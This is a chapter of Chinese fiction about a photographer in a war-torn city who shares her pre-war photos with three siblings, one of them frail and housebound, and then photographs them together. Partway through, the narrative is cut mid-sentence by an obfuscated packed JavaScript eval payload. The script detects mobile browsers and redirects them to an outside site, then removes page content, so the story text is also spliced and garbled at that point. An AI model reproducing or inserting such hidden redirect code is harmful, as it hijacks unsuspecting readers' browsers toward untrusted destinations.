第二天，她起得很早，沿着破败的街道慢慢探寻。
风从破旧砖墙的罅隙里穿过，带着土味和铁锈味。街面上人不多，都是本地人。她背着摄影包，阳光从缝隙中落下，像沉默的钉子，一排一排打在街道上。
有个老妇人蹲在街角，把一块破布摊在地上，卖的是几把铁勺，旧纽扣和三块皱巴巴的肥皂，她低着头，专注地只用长满老年斑的手压顺破布的边缘。
几个男孩骑在水泥墩上，一人手里拎着一只没有气的皮球。他们说话很快，像在争吵，又像在商量什么。一个孩子注意到她了，眯着眼看着这个不属于这里的陌生面孔，然后飞快地转过头去。
风很干，把街角一摞报纸刮起来几页。她侧头看了一眼，那些字母印得斑驳，看不懂是哪国文字，也看不清上面的日期。
一路前行，清晨的阳光灰白而淡薄，从城市边缘烧毁的屋檐间穿透进来，照在半塌的石阶与尘土上。秦穗沿着街巷缓慢地走，鞋底碾过细碎的瓦砾，直到在那扇门前停下。
她抬手敲门。
不多时，屋里传来哒哒的脚步声，一个小男孩带着洗涤剂的香味从屋子深处小跑出来，手上还残着湿意，领口微微打湿。
看到她，Asad的眼睛亮了一下，喘了口气，随后扬起一个大大的笑脸，侧过身让出位置。
“早上好，Qin。”
“早。”秦穗揉了揉他细软的头发进了屋。
屋子里弥散着潮湿与肥皂水的气味，空气中飘着些许锅碗碰撞的回音。厨房的门虚掩着，洗碗槽边水还在滴答。
妹妹坐在小毯子上，捧着一只破损的瓷碗，用指尖抠着粘在碗边的蛋渣，一边吃一边皱着眉头，嘴角沾了些面包屑，小声嘟囔什么。她头发蓬松，穿着有点褪色的小睡裙，像刚睡醒不久。
Mirek靠在屋角的沙发上，低着头，手里轻轻拨着一团毛线，他指尖小心地一寸寸理着，像在拆开什么细小的结。那双手骨节分明，皮肤近乎透明，指尖微微蜷着，像是不太听使唤。毛线不听话地滚下，他用食指和中指并着，试图将那团毛线重新圈拢。指腹贴了上去，勾了勾，却没能带动什么。毛线滑了一下，没有顺从地收拢，反而散开更多。他停住，低头看了一眼，指头不动，像是有些困倦地搭在那里。
似乎是一个姿势太久了有些不太舒服，他背有些弓着，身子也有些向右歪斜，腰身没法稳住。右腿向外侧滑了些，左脚蹬在地毯边缘，没有动。灰布裤皱着贴在膝盖上，布料垂下来，压住他僵着的脚踝。
他轻轻皱了皱眉，肩膀动了动，然后慢慢把头仰起来，像是在活动那一段僵住的脖子。脖子仰得不高，动作有点慢，也有点小心，仿佛怕牵扯到什么。睫毛垂下来，在眼下落出一片细影。脖颈那一段线条瘦得明显，皮肤在光底下显出点苍白的青。
低下头的时候，眼睛刚一睁开，便正对上门口的秦穗。
秦穗逆着光站着，肩膀和发梢都沾了点亮，轻轻笑了一下，“早上好。”
Mirek像是怔了一下，似乎没料到她会这么早来，他微微眯起眼，睫毛颤动，有些局促不安。
他低头，轻轻把那团毛线拢了一下，细弱的指节蜷得更紧了些，似乎想把双手藏起来，耳廓有些红，声音带着些迟疑：“你…来得挺早。”
他抿了一下唇，像是想笑，又没笑出来，只轻轻咳了一声，抬眼看她：“抱歉...刚刚…我有些狼狈...”
她微微一愣，随即轻笑了一下，声音不高，却很真诚：“你认真的样子，其实挺好看的。”
他说不出话来，只是偏开一点视线，似乎还没能完全放松，但耳根却又红了一层。他手指还搭在毛线团上，蜷曲的指节倒是微微松开了一点，倒像是认真听她在说话。
她走近两步，在沙发旁边的小凳上坐下来，语气很平稳“我刚刚在门口看你，只是觉得你很专注，所以才没有好意思打断你。”
他轻轻“嗯”了一声，像是终于松了口气，眼神也柔和些了。沙发上的灰色毛线被他缓缓绕回掌心，他没再动，只是顺着她的话慢慢接了下去。
“昨天Asad很快就回来了，你住得不远对吗？”
说完这句，他抬眼看了她一下，又马上低下去，像是迟疑了一瞬才继续，“你以前…就住那一带吗？”
她笑了一下，“不是，我昨天才来到这...在那边短租了一间公寓，离你们家大概十分钟的路程。”
屋子里安静了片刻，他有些愣住了，思考了一会，小声地问“你第一次来这里吗？”像是斟酌着措辞，嗓音很轻，“这里…现在挺破败的，以前的街被炸掉了好几条…路边的树也烧得差不多。”
她看了他一眼，轻声说：“几年前来过，和平的时候。”
他顿了顿，像是怕自己说得太直白，不好意思似的垂了下头，“那你…为什么还愿意来？”
秦穗沉默了一会，像是在斟酌语言，语气平静：“想记录下些什么，我曾经拍过这里的海，这里的落日，这里的街道，这座城市曾经很美，所以，即使它现在变成了这样，我也愿意重新踏上这片土地。”
说完，室内短暂沉静下来。
Mirek微微抬起头，望着她有些失神，像没想到，会有人在这样的时刻，这样的地方，还愿意说出“美”这个词。
他迟疑了一下，嗓音带着一点小心翼翼的语气：“你…还有之前的照片吗？”他停顿了下，才又轻声说：“可以给我看看吗？我…我想看看这里…没有被摧毁的样子。”
秦穗几乎没有犹豫“当然可以。”
她从包里取出手机，低头翻找相册的动作很安静。
屏幕亮起时，照片一张一张地滑过，她指尖在屏幕上缓慢滑动，像在翻阅一段被尘封的记忆。
Asad不知道从哪里冒了出来，他刚洗完碗，手上还沾着湿漉漉的水汽，好奇地探头“你在看什么，Qin？”
“她说，她拍过这里的海…还有落日，现在在找照片。”Mirek偏过头，有些苦涩地补充“没有战争的时候。”
Asad眼睛一亮，兴奋地说：“真的吗？我也想看看！”说着已经俯下身坐到了哥哥旁边，一边还回头朝厨房的方向喊了一声，“Stella你过来！我们要看照片了！”
Stella还坐在小毯子上，嘴角挂着面包屑，听到哥哥的叫声抬起头，有点迷糊地“嗯”了一声。她抱着那个破损的小瓷碗站起来，跌跌撞撞地走了过来，小脚踩在地毯上发出轻轻的响声。
把手机递过去的时候，Mirek轻轻动了动上半身，似乎是想挪近些，动作笨拙，细白脖子探了一下，瘦弱的身体却难以前倾。沙发太软了些，他背后没地方借力，整个人靠着靠着，有点滑下去，他试着抬手，指节轻轻动着，像要扶，但没有地方可扶。
Asad察觉到了，他有着这个年龄男孩子不该有的敏感。
他没有多说话，只是很自然地往哥哥那边挪了挪，靠近了一点，用肩膀轻轻抵住Mirek的侧背，让他有了一些支撑。
照片递到他们面前。
是几年前的街角，日头低垂，光线温暖而模糊，建筑的轮廓还没有被炮火撕开，远处有人影在散步，店铺门口挂着招牌，风吹得轻飘飘的。
他们几个安静地看着。
Asad盯着那张照片看了好久，然后低声说：“这里好像是我们以前买冰淇淋的地方，对吧？”
Mirek点了点头，声音很轻：“是。那家店的名字叫‘Tala’…意思是月亮。”
Stella凑得更近了些，小手指碰了碰屏幕：“红色的……”
她皱着很小的眉，像是从很远的地方捞出一点碎片，“哥哥……抱过我吗？”
Mirek轻轻点头：“嗯。那天我抱你看喷泉。
她说着自己就笑了，小小的，像是突然从模糊记忆里抓住了什么。
秦穗没有插话，她只是静静地坐在他们身旁，看着屏幕，偶尔轻轻往下滑动。
照片从街道换到了港口、屋顶、夜晚的市场，人群的背影、模糊的灯光、斑驳的墙面上写着什么已经看不清的涂鸦。每一张都像是过去生活的一块碎片，亮着、热着，又离现在很远了。
Mirek不再说话，他的眼睛一直看着，神情没有起伏，但从头到尾都没有移开。他像是怕自己漏掉什么，又像是用尽力气，在把这些画面牢牢记住。
过了很久，他轻声说：“谢谢你。”
Asad还在盯着屏幕看。他没有立刻说话，像是在消化什么。过了一会儿，他慢慢开口，声音有点低：“我都快忘记这些地方原来是什么样子了。”
他咬了咬下唇，又补了一句：“以前街上是有灯的，还有很多人…现在晚上都没有灯了很黑。”
Stella歪着头，听着他们说话，也没出声，只是下意识地把手指
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588080|205370||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搭在哥哥膝盖上。
秦穗静静听着，眼睛还是落在屏幕上。
过了一会儿，Asad问她：“你昨天来这边，有拍什么照片吗？”
秦穗抬起眼，点点头：“拍了一张。”
Asad好奇地往前靠了一点：“什么？”
“就是你们家的外墙，墙上有一些粉笔画，应该是Stella画的。”她轻轻笑，抬手摸了摸妹妹乱乱卷卷的头发。
Mirek微微一顿，像是愣了一下。他的视线落在她脸上，又落回去，眉眼间有些轻微的动静。
“我…很久没出门了。”他说得轻，“不知道外面有画。”
他顿了一下，抬眼望向秦穗，带着一点不自觉的期待：“可以让我看看那张照片吗？”
秦穗点点头，没说什么，从包里拿出相机，拇指轻轻拨开屏幕，翻到了那张照片。
她把相机递过去，稍微侧了个角度，方便他能看见。
Mirek专注地看了很久，没有说话，只是缓缓抬起细瘦的手臂。
他的动作很轻，薄薄的手掌略微发抖地伸出，指尖轻轻扫过妹妹的发旋，然后一点一点地，像是抚摸，又像是确认她还在。
“你要拍哥哥吗？”Asad忽然问，“哥哥很好看。”
他的声音不高，有点像是刚想起什么似的，轻轻一说，就滑进了屋子里的静默里。秦穗下意识地抬头去看他，一时间没有应声。
Mirek像是被惊了一下。他转过脸，慢慢地眨了下眼睛，神情有些窘迫。“不要拍我了…我现在这个样子，很丑。”
秦穗没有立刻回应，只是看着他，目光柔和。
过了一会儿，她轻声问：“那…你愿意拍一张你们三个人的照片吗？”
Mirek微微一愣，像是没听懂，又像是没准备好听见这句话。他的睫毛颤了下，呼吸仿佛停了一瞬。
他的手指微微动了动，像是不知道要摆到哪儿。他眼底泛着光，只是低头，把目光收回来，停在自己的腿上，然后慢慢点了一下头。
那一瞬，他好像有点说不出话来。
秦穗没催他。
几秒后，他轻声说：“好。”
秦穗站起来，调整好相机的角度。
“坐近一点。”她温声说。
Asad就侧了身，把肩贴到哥哥身侧，很自然地把手搭在他椅背后头。Stella也不说话，只是乖乖地坐在另一边，把头靠在哥哥的手肘处，小小的脸蛋藏在他袖子边上。
Mirek努力地往上撑了一点身子，把自己从软塌塌的坐姿里撑得稍微挺直。那动作不大，但已经用了不少力气。手臂微微颤着，还是稳住了。
咔嚓一声，那一刻被永远地定格。
镜头里，Mirek坐在中间，身形削瘦，肤色苍白。努力挺直着背，却仍显得单薄，他身体被弟弟支撑，瘦弱的肩膀更靠□□斜，穿着一件浅色的亚麻衬衫，领口微敞，锁骨微微突出。头发柔软而有些凌乱，被阳光一照，发尾泛着微微的金光。他的睫毛很长，浓密微卷，脸上带着一丝局促的笑意。
Asad坐在他右边，肩膀贴紧哥哥，笑得很灿烂。棕色的卷发在光下泛着暖色，像是被阳光刻出的标记。他穿着一件洗得有些旧的印花T恤，和打着好几个补丁的运动裤，裤腿卷起来，膝盖上还有摔破后没好全的伤痕。脚上蹬着旧球鞋，鞋边已经磨破，他依然对着镜头笑着，两个小小的酒窝深深陷着。
Stella坐在哥哥的左边，小胳膊小腿都裸着，穿着一条皱巴巴的浅色背心裙。她乖乖地把头靠在哥哥胳膊边上，一只手抱着哥哥的手肘，另一只拽着自己的裙摆。脸蛋红红的，带着点婴儿肥，两只圆圆的眼睛朝镜头望着，有点紧张，又有点依恋。
“拍的很好，你们的动作都很自然。”秦穗笑着把相机递过去。
Mirek安静地看着，没有说话。他的睫毛轻轻动了一下，细白蜷缩的指节慢慢收了收。那一瞬间，他像是被什么击中似的，浅浅的，克制着，却也藏不住。
“谢谢你，”他轻声说，语调很轻，眼圈微微泛着红。
秦穗摇头笑了笑：“不客气，等我把照片洗好了，会送一张给你们。”
阳光透过窗沿的缝隙落进来，把墙上的裂纹照得清清楚楚。屋子很静，像是时间停住了。窗外有风，带着一点尘土味，远远的，似乎有钟声断断续续，像从别的世界飘过来。